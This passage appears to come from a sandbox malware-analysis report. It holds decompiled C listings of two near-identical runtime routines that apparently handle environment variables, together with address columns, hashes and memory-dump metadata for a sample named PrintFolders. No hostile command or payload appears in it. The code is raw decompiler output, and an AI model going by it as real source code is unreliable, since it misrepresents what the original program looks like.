                                                          															_t51 = _t126 + 1; // 0x2
                                                          															_t150 = E0041E25B(_t51, 4);
                                                          															_t128 = _t149;
                                                          															__eflags = _t150;
                                                          															if(_t150 == 0) {
                                                          																L58:
                                                          																E00419C49(_t110, _t128, _t139, _t143, _t150);
                                                          																goto L59;
                                                          															} else {
                                                          																_t130 =  *_t143;
                                                          																__eflags = _t130;
                                                          																if(_t130 == 0) {
                                                          																	L57:
                                                          																	E0041E2B8(0);
                                                          																	_t86 = _t150;
                                                          																	goto L45;
                                                          																} else {
                                                          																	_push(_t110);
                                                          																	_t110 = _t150 - _t143;
                                                          																	__eflags = _t110;
                                                          																	do {
                                                          																		_t52 = _t130 + 1; // 0x5
                                                          																		_t139 = _t52;
                                                          																		do {
                                                          																			_t87 =  *_t130;
                                                          																			_t130 = _t130 + 1;
                                                          																			__eflags = _t87;
                                                          																		} while (_t87 != 0);
                                                          																		_t53 = _t130 - _t139 + 1; // 0x6
                                                          																		_v12 = _t53;
                                                          																		 *(_t110 + _t143) = E0041E25B(_t53, 1);
                                                          																		E0041E2B8(0);
                                                          																		_t162 = _t160 + 0xc;
                                                          																		__eflags =  *(_t110 + _t143);
                                                          																		if( *(_t110 + _t143) == 0) {
                                                          																			goto L58;
                                                          																		} else {
                                                          																			_t91 = E0041C7A8( *(_t110 + _t143), _v12,  *_t143);
                                                          																			_t160 = _t162 + 0xc;
                                                          																			__eflags = _t91;
                                                          																			if(_t91 != 0) {
                                                          																				L59:
                                                          																				_push(0);
                                                          																				_push(0);
                                                          																				_push(0);
                                                          																				_push(0);
                                                          																				_push(0);
                                                          																				E00413544();
                                                          																				asm("int3");
                                                          																				_t84 =  *0x450898; // 0x1425f28
                                                          																				__eflags = _t84 -  *0x4508a4; // 0x1425f28
                                                          																				if(__eflags == 0) {
                                                          																					_push(_t84);
                                                          																					L43();
                                                          																					 *0x450898 = _t84;
                                                          																					return _t84;
                                                          																				}
                                                          																				return _t84;
                                                          																			} else {
                                                          																				goto L55;
                                                          																			}
                                                          																		}
                                                          																		goto L63;
                                                          																		L55:
                                                          																		_t143 = _t143 + 4;
                                                          																		_t130 =  *_t143;
                                                          																		__eflags = _t130;
                                                          																	} while (_t130 != 0);
                                                          																	goto L57;
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t86 = 0;
                                                          															__eflags = 0;
                                                          															L45:
                                                          															return _t86;
                                                          														}
                                                          													} else {
                                                          														asm("sbb eax, eax");
                                                          														 *(_v20 + 1 + _t149 - _a4 - 1) = _t110;
                                                          														__eflags = E0042B1C3(_v20 + 1 + _t149 - _a4, _t139, __eflags, _t149,  ~_v5 & _v20 + 0x00000001 + _t149 - _a4);
                                                          														if(__eflags == 0) {
                                                          															_t98 = E004135F1(__eflags);
                                                          															_t111 = _t110 | 0xffffffff;
                                                          															__eflags = _t111;
                                                          															 *_t98 = 0x2a;
                                                          														}
                                                          														goto L37;
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								__eflags = _a8;
                                                          								if(_a8 == 0) {
                                                          									L9:
                                                          									__eflags = _v5 - _t110;
                                                          									if(_v5 != _t110) {
                                                          										 *0x450898 = E0041E25B(1, 4);
                                                          										E0041E2B8(_t110);
                                                          										_t158 = _t158 + 0xc;
                                                          										__eflags =  *0x450898 - _t110; // 0x1425f28
                                                          										if(__eflags == 0) {
                                                          											L39:
                                                          											_t111 = _t110 | 0xffffffff;
                                                          											__eflags = _t111;
                                                          											goto L40;
                                                          										} else {
                                                          											__eflags =  *0x45089c - _t110; // 0x0
                                                          											if(__eflags != 0) {
                                                          												goto L14;
                                                          											} else {
                                                          												 *0x45089c = E0041E25B(1, 4);
                                                          												E0041E2B8(_t110);
                                                          												_t158 = _t158 + 0xc;
                                                          												__eflags =  *0x45089c - _t110; // 0x0
                                                          												if(__eflags == 0) {
                                                          													goto L39;
                                                          												} else {
                                                          													goto L14;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_t111 = 0;
                                                          										L40:
                                                          										E0041E2B8(_t141);
                                                          										_t62 = _t111;
                                                          										goto L41;
                                                          									}
                                                          								} else {
                                                          									__eflags =  *0x45089c - _t110; // 0x0
                                                          									if(__eflags == 0) {
                                                          										goto L9;
                                                          									} else {
                                                          										__eflags = L0041A851();
                                                          										if(__eflags == 0) {
                                                          											goto L38;
                                                          										} else {
                                                          											L60();
                                                          											goto L14;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t109 = E004135F1(_t163);
                                                          					 *_t109 = 0x16;
                                                          					_t62 = _t109 | 0xffffffff;
                                                          					L41:
                                                          					return _t62;
                                                          				}
                                                          				L63:
                                                          			}










































                                                          0x00424c14
                                                          0x00424c17
                                                          0x00424c19
                                                          0x00424c1d
                                                          0x00424c20
                                                          0x00424c22
                                                          0x00424c37
                                                          0x00424c3c
                                                          0x00424c3e
                                                          0x00424c43
                                                          0x00424c48
                                                          0x00424c4a
                                                          0x00424e2b
                                                          0x00424e30
                                                          0x00000000
                                                          0x00424c50
                                                          0x00424c50
                                                          0x00424c52
                                                          0x00000000
                                                          0x00424c58
                                                          0x00424c5b
                                                          0x00424c5e
                                                          0x00424c63
                                                          0x00424c65
                                                          0x00424c6b
                                                          0x00424ce8
                                                          0x00424ce8
                                                          0x00424ced
                                                          0x00424cf0
                                                          0x00424cf2
                                                          0x00000000
                                                          0x00424cf8
                                                          0x00424cff
                                                          0x00424d04
                                                          0x00424d09
                                                          0x00424d0c
                                                          0x00424d0e
                                                          0x00424d5f
                                                          0x00424d5f
                                                          0x00424d62
                                                          0x00000000
                                                          0x00424d68
                                                          0x00424d68
                                                          0x00424d6a
                                                          0x00424d6d
                                                          0x00424d6d
                                                          0x00424d70
                                                          0x00424d72
                                                          0x00000000
                                                          0x00424d78
                                                          0x00424d78
                                                          0x00424d7e
                                                          0x00000000
                                                          0x00424d84
                                                          0x00424d8e
                                                          0x00424d91
                                                          0x00424d96
                                                          0x00424d99
                                                          0x00424d9c
                                                          0x00424d9e
                                                          0x00000000
                                                          0x00424da4
                                                          0x00424da4
                                                          0x00424da7
                                                          0x00424da9
                                                          0x00424dac
                                                          0x00000000
                                                          0x00424dac
                                                          0x00424d9e
                                                          0x00424d7e
                                                          0x00424d72
                                                          0x00424d10
                                                          0x00424d10
                                                          0x00424d12
                                                          0x00000000
                                                          0x00424d14
                                                          0x00424d17
                                                          0x00424d1d
                                                          0x00424d20
                                                          0x00424d23
                                                          0x00424d58
                                                          0x00424d5a
                                                          0x00424d25
                                                          0x00424d25
                                                          0x00424d32
                                                          0x00424d32
                                                          0x00424d35
                                                          0x00000000
                                                          0x00000000
                                                          0x00424d2e
                                                          0x00424d31
                                                          0x00424d31
                                                          0x00424d31
                                                          0x00424d41
                                                          0x00424d44
                                                          0x00424d49
                                                          0x00424d4c
                                                          0x00424d4f
                                                          0x00424d51
                                                          0x00424db0
                                                          0x00424db0
                                                          0x00424db0
                                                          0x00424d51
                                                          0x00424db5
                                                          0x00424db8
                                                          0x00000000
                                                          0x00424dba
                                                          0x00424dba
                                                          0x00424dbd
                                                          0x00424dbd
                                                          0x00424dbf
                                                          0x00424dc0
                                                          0x00424dc0
                                                          0x00424dcc
                                                          0x00424dd4
                                                          0x00424dd7
                                                          0x00424dd8
                                                          0x00424dda
                                                          0x00424e22
                                                          0x00424e23
                                                          0x00000000
                                                          0x00424ddc
                                                          0x00424de3
                                                          0x00424de8
                                                          0x00424deb
                                                          0x00424ded
                                                          0x00424e47
                                                          0x00424e48
                                                          0x00424e49
                                                          0x00424e4a
                                                          0x00424e4b
                                                          0x00424e4c
                                                          0x00424e51
                                                          0x00424e54
                                                          0x00424e58
                                                          0x00424e59
                                                          0x00424e5c
                                                          0x00424e5e
                                                          0x00424e65
                                                          0x00424e67
                                                          0x00424e69
                                                          0x00424e6b
                                                          0x00424e6d
                                                          0x00424e6d
                                                          0x00424e70
                                                          0x00424e71
                                                          0x00424e71
                                                          0x00424e6d
                                                          0x00424e77
                                                          0x00424e82
                                                          0x00424e85
                                                          0x00424e86
                                                          0x00424e88
                                                          0x00424ef0
                                                          0x00424ef0
                                                          0x00000000
                                                          0x00424e8a
                                                          0x00424e8a
                                                          0x00424e8c
                                                          0x00424e8e
                                                          0x00424ee0
                                                          0x00424ee2
                                                          0x00424ee8
                                                          0x00000000
                                                          0x00424e90
                                                          0x00424e90
                                                          0x00424e93
                                                          0x00424e93
                                                          0x00424e95
                                                          0x00424e95
                                                          0x00424e95
                                                          0x00424e98
                                                          0x00424e98
                                                          0x00424e9a
                                                          0x00424e9b
                                                          0x00424e9b
                                                          0x00424ea3
                                                          0x00424ea7
                                                          0x00424eb1
                                                          0x00424eb4
                                                          0x00424eb9
                                                          0x00424ebc
                                                          0x00424ec0
                                                          0x00000000
                                                          0x00424ec2
                                                          0x00424eca
                                                          0x00424ecf
                                                          0x00424ed2
                                                          0x00424ed4
                                                          0x00424ef5
                                                          0x00424ef7
                                                          0x00424ef8
                                                          0x00424ef9
                                                          0x00424efa
                                                          0x00424efb
                                                          0x00424efc
                                                          0x00424f01
                                                          0x00424f02
                                                          0x00424f07
                                                          0x00424f0d
                                                          0x00424f0f
                                                          0x00424f10
                                                          0x00424f16
                                                          0x00000000
                                                          0x00424f16
                                                          0x00424f1b
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00424ed4
                                                          0x00000000
                                                          0x00424ed6
                                                          0x00424ed6
                                                          0x00424ed9
                                                          0x00424edb
                                                          0x00424edb
                                                          0x00000000
                                                          0x00424edf
                                                          0x00424e8e
                                                          0x00424e60
                                                          0x00424e60
                                                          0x00424e60
                                                          0x00424e62
                                                          0x00424e64
                                                          0x00424e64
                                                          0x00424def
                                                          0x00424e00
                                                          0x00424e04
                                                          0x00424e10
                                                          0x00424e12
                                                          0x00424e14
                                                          0x00424e19
                                                          0x00424e19
                                                          0x00424e1c
                                                          0x00424e1c
                                                          0x00000000
                                                          0x00424e12
                                                          0x00424ded
                                                          0x00424dda
                                                          0x00424db8
                                                          0x00424d12
                                                          0x00424d0e
                                                          0x00424c6d
                                                          0x00424c6d
                                                          0x00424c70
                                                          0x00424c8e
                                                          0x00424c8e
                                                          0x00424c91
                                                          0x00424ca4
                                                          0x00424ca9
                                                          0x00424cae
                                                          0x00424cb1
                                                          0x00424cb7
                                                          0x00424e36
                                                          0x00424e36
                                                          0x00424e36
                                                          0x00000000
                                                          0x00424cbd
                                                          0x00424cbd
                                                          0x00424cc3
                                                          0x00000000
                                                          0x00424cc5
                                                          0x00424ccf
                                                          0x00424cd4
                                                          0x00424cd9
                                                          0x00424cdc
                                                          0x00424ce2
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00424ce2
                                                          0x00424cc3
                                                          0x00424c93
                                                          0x00424c93
                                                          0x00424e39
                                                          0x00424e3a
                                                          0x00424e41
                                                          0x00000000
                                                          0x00424e43
                                                          0x00424c72
                                                          0x00424c72
                                                          0x00424c78
                                                          0x00000000
                                                          0x00424c7a
                                                          0x00424c7f
                                                          0x00424c81
                                                          0x00000000
                                                          0x00424c87
                                                          0x00424c87
                                                          0x00000000
                                                          0x00424c87
                                                          0x00424c81
                                                          0x00424c78
                                                          0x00424c70
                                                          0x00424c6b
                                                          0x00424c52
                                                          0x00424c24
                                                          0x00424c24
                                                          0x00424c29
                                                          0x00424c2f
                                                          0x00424e44
                                                          0x00424e46
                                                          0x00424e46
                                                          0x00000000

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$___from_strstr_to_strchr
                                                          • String ID:
                                                          • API String ID: 3409252457-0
                                                          • Opcode ID: 4e14be396917b90d40ada6c8054fde6103272dd0e98e2066e88c24aaefcf9db6
                                                          • Instruction ID: c24dd6349b25f5b46de012d200697a2dc7ab1927184a9c428c04661f96352079
                                                          • Opcode Fuzzy Hash: 4e14be396917b90d40ada6c8054fde6103272dd0e98e2066e88c24aaefcf9db6
                                                          • Instruction Fuzzy Hash: CB510E70B04321AFEB21BF75A851ABE7BE8EF81314F81416FE91497281DB3D85418B5D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 85%
                                                          			E1000A62A(signed int __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
                                                          				signed int _v5;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				signed int _v20;
                                                          				signed int _v48;
                                                          				signed int _t59;
                                                          				signed int _t62;
                                                          				signed int _t64;
                                                          				signed int _t67;
                                                          				signed int _t68;
                                                          				signed int _t71;
                                                          				signed int _t72;
                                                          				signed int _t76;
                                                          				signed int* _t78;
                                                          				signed int _t84;
                                                          				signed int _t86;
                                                          				signed int _t87;
                                                          				signed int _t91;
                                                          				intOrPtr* _t98;
                                                          				signed int _t109;
                                                          				signed int _t110;
                                                          				signed int _t111;
                                                          				intOrPtr* _t120;
                                                          				signed int _t121;
                                                          				void* _t122;
                                                          				void* _t126;
                                                          				signed int _t130;
                                                          				signed int _t138;
                                                          				signed int _t139;
                                                          				signed int _t141;
                                                          				signed int _t143;
                                                          				signed int _t146;
                                                          				signed int _t149;
                                                          				signed int _t150;
                                                          				void* _t153;
                                                          				void* _t157;
                                                          				void* _t158;
                                                          				void* _t160;
                                                          				void* _t162;
                                                          
                                                          				_t110 = __ebx;
                                                          				_t153 = _t157;
                                                          				_t158 = _t157 - 0x10;
                                                          				_t146 = _a4;
                                                          				_t163 = _t146;
                                                          				if(_t146 != 0) {
                                                          					_push(__ebx);
                                                          					_t141 = _t146;
                                                          					_t59 = E1000F4C0(_t146, 0x3d);
                                                          					_v20 = _t59;
                                                          					__eflags = _t59;
                                                          					if(__eflags == 0) {
                                                          						L38:
                                                          						 *((intOrPtr*)(E10006406(__eflags))) = 0x16;
                                                          						goto L39;
                                                          					} else {
                                                          						__eflags = _t59 - _t146;
                                                          						if(__eflags == 0) {
                                                          							goto L38;
                                                          						} else {
                                                          							_v5 =  *((intOrPtr*)(_t59 + 1));
                                                          							L60();
                                                          							_t110 = 0;
                                                          							__eflags =  *0x10017ea0 - _t110; // 0x144a898
                                                          							if(__eflags != 0) {
                                                          								L14:
                                                          								_t64 =  *0x10017ea0; // 0x144a898
                                                          								_v12 = _t64;
                                                          								__eflags = _t64;
                                                          								if(_t64 == 0) {
                                                          									goto L39;
                                                          								} else {
                                                          									_t67 = E1000A932(_t146, _v20 - _t146);
                                                          									_v16 = _t67;
                                                          									_t120 = _v12;
                                                          									__eflags = _t67;
                                                          									if(_t67 < 0) {
                                                          										L24:
                                                          										__eflags = _v5 - _t110;
                                                          										if(_v5 == _t110) {
                                                          											goto L40;
                                                          										} else {
                                                          											_t68 =  ~_t67;
                                                          											_v16 = _t68;
                                                          											_t30 = _t68 + 2; // 0x2
                                                          											_t139 = _t30;
                                                          											__eflags = _t139 - _t68;
                                                          											if(_t139 < _t68) {
                                                          												goto L39;
                                                          											} else {
                                                          												__eflags = _t139 - 0x3fffffff;
                                                          												if(_t139 >= 0x3fffffff) {
                                                          													goto L39;
                                                          												} else {
                                                          													_v12 = E1000A992(_t120, _t139, 4);
                                                          													E10008701(_t110);
                                                          													_t71 = _v12;
                                                          													_t158 = _t158 + 0x10;
                                                          													__eflags = _t71;
                                                          													if(_t71 == 0) {
                                                          														goto L39;
                                                          													} else {
                                                          														_t121 = _v16;
                                                          														_t141 = _t110;
                                                          														 *(_t71 + _t121 * 4) = _t146;
                                                          														 *(_t71 + 4 + _t121 * 4) = _t110;
                                                          														goto L29;
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										__eflags =  *_t120 - _t110;
                                                          										if( *_t120 == _t110) {
                                                          											goto L24;
                                                          										} else {
                                                          											E10008701( *((intOrPtr*)(_t120 + _t67 * 4)));
                                                          											_t138 = _v16;
                                                          											__eflags = _v5 - _t110;
                                                          											if(_v5 != _t110) {
                                                          												_t141 = _t110;
                                                          												 *(_v12 + _t138 * 4) = _t146;
                                                          											} else {
                                                          												_t139 = _v12;
                                                          												while(1) {
                                                          													__eflags =  *((intOrPtr*)(_t139 + _t138 * 4)) - _t110;
                                                          													if( *((intOrPtr*)(_t139 + _t138 * 4)) == _t110) {
                                                          														break;
                                                          													}
                                                          													 *((intOrPtr*)(_t139 + _t138 * 4)) =  *((intOrPtr*)(_t139 + 4 + _t138 * 4));
                                                          													_t138 = _t138 + 1;
                                                          													__eflags = _t138;
                                                          												}
                                                          												_v16 = E1000A992(_t139, _t138, 4);
                                                          												E10008701(_t110);
                                                          												_t71 = _v16;
                                                          												_t158 = _t158 + 0x10;
                                                          												__eflags = _t71;
                                                          												if(_t71 != 0) {
                                                          													L29:
                                                          													 *0x10017ea0 = _t71;
                                                          												}
                                                          											}
                                                          											__eflags = _a8 - _t110;
                                                          											if(_a8 == _t110) {
                                                          												goto L40;
                                                          											} else {
                                                          												_t122 = _t146 + 1;
                                                          												do {
                                                          													_t72 =  *_t146;
                                                          													_t146 = _t146 + 1;
                                                          													__eflags = _t72;
                                                          												} while (_t72 != 0);
                                                          												_v16 = _t146 - _t122 + 2;
                                                          												_t149 = E10008BFC(_t146 - _t122 + 2, 1);
                                                          												_pop(_t124);
                                                          												__eflags = _t149;
                                                          												if(_t149 == 0) {
                                                          													L37:
                                                          													E10008701(_t149);
                                                          													goto L40;
                                                          												} else {
                                                          													_t76 = E10007728(_t149, _v16, _a4);
                                                          													_t160 = _t158 + 0xc;
                                                          													__eflags = _t76;
                                                          													if(__eflags != 0) {
                                                          														_push(_t110);
                                                          														_push(_t110);
                                                          														_push(_t110);
                                                          														_push(_t110);
                                                          														_push(_t110);
                                                          														E10006359();
                                                          														asm("int3");
                                                          														_push(_t153);
                                                          														_push(_t141);
                                                          														_t143 = _v48;
                                                          														__eflags = _t143;
                                                          														if(_t143 != 0) {
                                                          															_t126 = 0;
                                                          															_t78 = _t143;
                                                          															__eflags =  *_t143;
                                                          															if( *_t143 != 0) {
                                                          																do {
                                                          																	_t78 =  &(_t78[1]);
                                                          																	_t126 = _t126 + 1;
                                                          																	__eflags =  *_t78;
                                                          																} while ( *_t78 != 0);
                                                          															}
                                                          															_t51 = _t126 + 1; // 0x2
                                                          															_t150 = E10008BFC(_t51, 4);
                                                          															_t128 = _t149;
                                                          															__eflags = _t150;
                                                          															if(_t150 == 0) {
                                                          																L58:
                                                          																E100076E4(_t110, _t128, _t139, _t143, _t150);
                                                          																goto L59;
                                                          															} else {
                                                          																_t130 =  *_t143;
                                                          																__eflags = _t130;
                                                          																if(_t130 == 0) {
                                                          																	L57:
                                                          																	E10008701(0);
                                                          																	_t86 = _t150;
                                                          																	goto L45;
                                                          																} else {
                                                          																	_push(_t110);
                                                          																	_t110 = _t150 - _t143;
                                                          																	__eflags = _t110;
                                                          																	do {
                                                          																		_t52 = _t130 + 1; // 0x5
                                                          																		_t139 = _t52;
                                                          																		do {
                                                          																			_t87 =  *_t130;
                                                          																			_t130 = _t130 + 1;
                                                          																			__eflags = _t87;
                                                          																		} while (_t87 != 0);
                                                          																		_t53 = _t130 - _t139 + 1; // 0x6
                                                          																		_v12 = _t53;
                                                          																		 *(_t110 + _t143) = E10008BFC(_t53, 1);
                                                          																		E10008701(0);
                                                          																		_t162 = _t160 + 0xc;
                                                          																		__eflags =  *(_t110 + _t143);
                                                          																		if( *(_t110 + _t143) == 0) {
                                                          																			goto L58;
                                                          																		} else {
                                                          																			_t91 = E10007728( *(_t110 + _t143), _v12,  *_t143);
                                                          																			_t160 = _t162 + 0xc;
                                                          																			__eflags = _t91;
                                                          																			if(_t91 != 0) {
                                                          																				L59:
                                                          																				_push(0);
                                                          																				_push(0);
                                                          																				_push(0);
                                                          																				_push(0);
                                                          																				_push(0);
                                                          																				E10006359();
                                                          																				asm("int3");
                                                          																				_t84 =  *0x10017ea0; // 0x144a898
                                                          																				__eflags = _t84 -  *0x10017eac; // 0x144a898
                                                          																				if(__eflags == 0) {
                                                          																					_push(_t84);
                                                          																					L43();
                                                          																					 *0x10017ea0 = _t84;
                                                          																					return _t84;
                                                          																				}
                                                          																				return _t84;
                                                          																			} else {
                                                          																				goto L55;
                                                          																			}
                                                          																		}
                                                          																		goto L63;
                                                          																		L55:
                                                          																		_t143 = _t143 + 4;
                                                          																		_t130 =  *_t143;
                                                          																		__eflags = _t130;
                                                          																	} while (_t130 != 0);
                                                          																	goto L57;
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t86 = 0;
                                                          															__eflags = 0;
                                                          															L45:
                                                          															return _t86;
                                                          														}
                                                          													} else {
                                                          														asm("sbb eax, eax");
                                                          														 *(_v20 + 1 + _t149 - _a4 - 1) = _t110;
                                                          														__eflags = E1000D336(_v20 + 1 + _t149 - _a4, _t139, __eflags, _t149,  ~_v5 & _v20 + 0x00000001 + _t149 - _a4);
                                                          														if(__eflags == 0) {
                                                          															_t98 = E10006406(__eflags);
                                                          															_t111 = _t110 | 0xffffffff;
                                                          															__eflags = _t111;
                                                          															 *_t98 = 0x2a;
                                                          														}
                                                          														goto L37;
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								__eflags = _a8;
                                                          								if(_a8 == 0) {
                                                          									L9:
                                                          									__eflags = _v5 - _t110;
                                                          									if(_v5 != _t110) {
                                                          										 *0x10017ea0 = E10008BFC(1, 4);
                                                          										E10008701(_t110);
                                                          										_t158 = _t158 + 0xc;
                                                          										__eflags =  *0x10017ea0 - _t110; // 0x144a898
                                                          										if(__eflags == 0) {
                                                          											L39:
                                                          											_t111 = _t110 | 0xffffffff;
                                                          											__eflags = _t111;
                                                          											goto L40;
                                                          										} else {
                                                          											__eflags =  *0x10017ea4 - _t110; // 0x0
                                                          											if(__eflags != 0) {
                                                          												goto L14;
                                                          											} else {
                                                          												 *0x10017ea4 = E10008BFC(1, 4);
                                                          												E10008701(_t110);
                                                          												_t158 = _t158 + 0xc;
                                                          												__eflags =  *0x10017ea4 - _t110; // 0x0
                                                          												if(__eflags == 0) {
                                                          													goto L39;
                                                          												} else {
                                                          													goto L14;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_t111 = 0;
                                                          										L40:
                                                          										E10008701(_t141);
                                                          										_t62 = _t111;
                                                          										goto L41;
                                                          									}
                                                          								} else {
                                                          									__eflags =  *0x10017ea4 - _t110; // 0x0
                                                          									if(__eflags == 0) {
                                                          										goto L9;
                                                          									} else {
                                                          										__eflags = L10007358();
                                                          										if(__eflags == 0) {
                                                          											goto L38;
                                                          										} else {
                                                          											L60();
                                                          											goto L14;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t109 = E10006406(_t163);
                                                          					 *_t109 = 0x16;
                                                          					_t62 = _t109 | 0xffffffff;
                                                          					L41:
                                                          					return _t62;
                                                          				}
                                                          				L63:
                                                          			}










































                                                          0x1000a62a
                                                          0x1000a62d
                                                          0x1000a62f
                                                          0x1000a633
                                                          0x1000a636
                                                          0x1000a638
                                                          0x1000a64d
                                                          0x1000a652
                                                          0x1000a654
                                                          0x1000a659
                                                          0x1000a65e
                                                          0x1000a660
                                                          0x1000a841
                                                          0x1000a846
                                                          0x00000000
                                                          0x1000a666
                                                          0x1000a666
                                                          0x1000a668
                                                          0x00000000
                                                          0x1000a66e
                                                          0x1000a671
                                                          0x1000a674
                                                          0x1000a679
                                                          0x1000a67b
                                                          0x1000a681
                                                          0x1000a6fe
                                                          0x1000a6fe
                                                          0x1000a703
                                                          0x1000a706
                                                          0x1000a708
                                                          0x00000000
                                                          0x1000a70e
                                                          0x1000a715
                                                          0x1000a71a
                                                          0x1000a71f
                                                          0x1000a722
                                                          0x1000a724
                                                          0x1000a775
                                                          0x1000a775
                                                          0x1000a778
                                                          0x00000000
                                                          0x1000a77e
                                                          0x1000a77e
                                                          0x1000a780
                                                          0x1000a783
                                                          0x1000a783
                                                          0x1000a786
                                                          0x1000a788
                                                          0x00000000
                                                          0x1000a78e
                                                          0x1000a78e
                                                          0x1000a794
                                                          0x00000000
                                                          0x1000a79a
                                                          0x1000a7a4
                                                          0x1000a7a7
                                                          0x1000a7ac
                                                          0x1000a7af
                                                          0x1000a7b2
                                                          0x1000a7b4
                                                          0x00000000
                                                          0x1000a7ba
                                                          0x1000a7ba
                                                          0x1000a7bd
                                                          0x1000a7bf
                                                          0x1000a7c2
                                                          0x00000000
                                                          0x1000a7c2
                                                          0x1000a7b4
                                                          0x1000a794
                                                          0x1000a788
                                                          0x1000a726
                                                          0x1000a726
                                                          0x1000a728
                                                          0x00000000
                                                          0x1000a72a
                                                          0x1000a72d
                                                          0x1000a733
                                                          0x1000a736
                                                          0x1000a739
                                                          0x1000a76e
                                                          0x1000a770
                                                          0x1000a73b
                                                          0x1000a73b
                                                          0x1000a748
                                                          0x1000a748
                                                          0x1000a74b
                                                          0x00000000
                                                          0x00000000
                                                          0x1000a744
                                                          0x1000a747
                                                          0x1000a747
                                                          0x1000a747
                                                          0x1000a757
                                                          0x1000a75a
                                                          0x1000a75f
                                                          0x1000a762
                                                          0x1000a765
                                                          0x1000a767
                                                          0x1000a7c6
                                                          0x1000a7c6
                                                          0x1000a7c6
                                                          0x1000a767
                                                          0x1000a7cb
                                                          0x1000a7ce
                                                          0x00000000
                                                          0x1000a7d0
                                                          0x1000a7d0
                                                          0x1000a7d3
                                                          0x1000a7d3
                                                          0x1000a7d5
                                                          0x1000a7d6
                                                          0x1000a7d6
                                                          0x1000a7e2
                                                          0x1000a7ea
                                                          0x1000a7ed
                                                          0x1000a7ee
                                                          0x1000a7f0
                                                          0x1000a838
                                                          0x1000a839
                                                          0x00000000
                                                          0x1000a7f2
                                                          0x1000a7f9
                                                          0x1000a7fe
                                                          0x1000a801
                                                          0x1000a803
                                                          0x1000a85d
                                                          0x1000a85e
                                                          0x1000a85f
                                                          0x1000a860
                                                          0x1000a861
                                                          0x1000a862
                                                          0x1000a867
                                                          0x1000a86a
                                                          0x1000a86e
                                                          0x1000a86f
                                                          0x1000a872
                                                          0x1000a874
                                                          0x1000a87b
                                                          0x1000a87d
                                                          0x1000a87f
                                                          0x1000a881
                                                          0x1000a883
                                                          0x1000a883
                                                          0x1000a886
                                                          0x1000a887
                                                          0x1000a887
                                                          0x1000a883
                                                          0x1000a88d
                                                          0x1000a898
                                                          0x1000a89b
                                                          0x1000a89c
                                                          0x1000a89e
                                                          0x1000a906
                                                          0x1000a906
                                                          0x00000000
                                                          0x1000a8a0
                                                          0x1000a8a0
                                                          0x1000a8a2
                                                          0x1000a8a4
                                                          0x1000a8f6
                                                          0x1000a8f8
                                                          0x1000a8fe
                                                          0x00000000
                                                          0x1000a8a6
                                                          0x1000a8a6
                                                          0x1000a8a9
                                                          0x1000a8a9
                                                          0x1000a8ab
                                                          0x1000a8ab
                                                          0x1000a8ab
                                                          0x1000a8ae
                                                          0x1000a8ae
                                                          0x1000a8b0
                                                          0x1000a8b1
                                                          0x1000a8b1
                                                          0x1000a8b9
                                                          0x1000a8bd
                                                          0x1000a8c7
                                                          0x1000a8ca
                                                          0x1000a8cf
                                                          0x1000a8d2
                                                          0x1000a8d6
                                                          0x00000000
                                                          0x1000a8d8
                                                          0x1000a8e0
                                                          0x1000a8e5
                                                          0x1000a8e8
                                                          0x1000a8ea
                                                          0x1000a90b
                                                          0x1000a90d
                                                          0x1000a90e
                                                          0x1000a90f
                                                          0x1000a910
                                                          0x1000a911
                                                          0x1000a912
                                                          0x1000a917
                                                          0x1000a918
                                                          0x1000a91d
                                                          0x1000a923
                                                          0x1000a925
                                                          0x1000a926
                                                          0x1000a92c
                                                          0x00000000
                                                          0x1000a92c
                                                          0x1000a931
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000a8ea
                                                          0x00000000
                                                          0x1000a8ec
                                                          0x1000a8ec
                                                          0x1000a8ef
                                                          0x1000a8f1
                                                          0x1000a8f1
                                                          0x00000000
                                                          0x1000a8f5
                                                          0x1000a8a4
                                                          0x1000a876
                                                          0x1000a876
                                                          0x1000a876
                                                          0x1000a878
                                                          0x1000a87a
                                                          0x1000a87a
                                                          0x1000a805
                                                          0x1000a816
                                                          0x1000a81a
                                                          0x1000a826
                                                          0x1000a828
                                                          0x1000a82a
                                                          0x1000a82f
                                                          0x1000a82f
                                                          0x1000a832
                                                          0x1000a832
                                                          0x00000000
                                                          0x1000a828
                                                          0x1000a803
                                                          0x1000a7f0
                                                          0x1000a7ce
                                                          0x1000a728
                                                          0x1000a724
                                                          0x1000a683
                                                          0x1000a683
                                                          0x1000a686
                                                          0x1000a6a4
                                                          0x1000a6a4
                                                          0x1000a6a7
                                                          0x1000a6ba
                                                          0x1000a6bf
                                                          0x1000a6c4
                                                          0x1000a6c7
                                                          0x1000a6cd
                                                          0x1000a84c
                                                          0x1000a84c
                                                          0x1000a84c
                                                          0x00000000
                                                          0x1000a6d3
                                                          0x1000a6d3
                                                          0x1000a6d9
                                                          0x00000000
                                                          0x1000a6db
                                                          0x1000a6e5
                                                          0x1000a6ea
                                                          0x1000a6ef
                                                          0x1000a6f2
                                                          0x1000a6f8
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000a6f8
                                                          0x1000a6d9
                                                          0x1000a6a9
